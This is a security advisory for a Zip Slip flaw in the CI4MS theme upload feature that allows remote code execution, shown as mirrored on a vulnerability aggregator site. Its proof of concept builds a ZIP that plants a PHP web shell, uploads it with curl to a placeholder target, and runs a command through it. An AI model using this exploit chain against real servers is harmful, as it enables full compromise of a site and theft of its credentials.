Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-xv3r-vr59-95rg

Опубликовано: 22 апр. 2026
Источник: github
Github: Прошло ревью
CVSS4: 9.4

Описание

CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload() { $valData = ([ 'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'], ]); if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors()); $file = $this->request->getFile('theme'); $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/'; $zip = new \ZipArchive(); if ($zip->open($file->getTempName()) === true) { $zip->extractTo($tempPath); // no entry-name validation $zip->close(); } ... $log = install_theme_from_tmp($themeName); ... }

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c " import zipfile with zipfile.ZipFile('evil_theme.zip','w') as z: z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>') z.writestr('info.xml', '<theme name=\"x\"/>') "

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \ -F 'theme=@evil_theme.zip' \ https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Пакеты

Наименование

ci4-cms-erp/ci4ms

composer
Затронутые версииВерсия исправления

< 0.31.5.0

0.31.5.0

EPSS

Процентиль: 39%
0.00484
Низкий

9.4 Critical

CVSS4

Дефекты

CWE-22

Связанные уязвимости

nvd
3 месяца назад

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.5.0, ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. This issue has been patched in version 0.31.5.0.

EPSS

Процентиль: 39%
0.00484
Низкий

9.4 Critical

CVSS4

Дефекты

CWE-22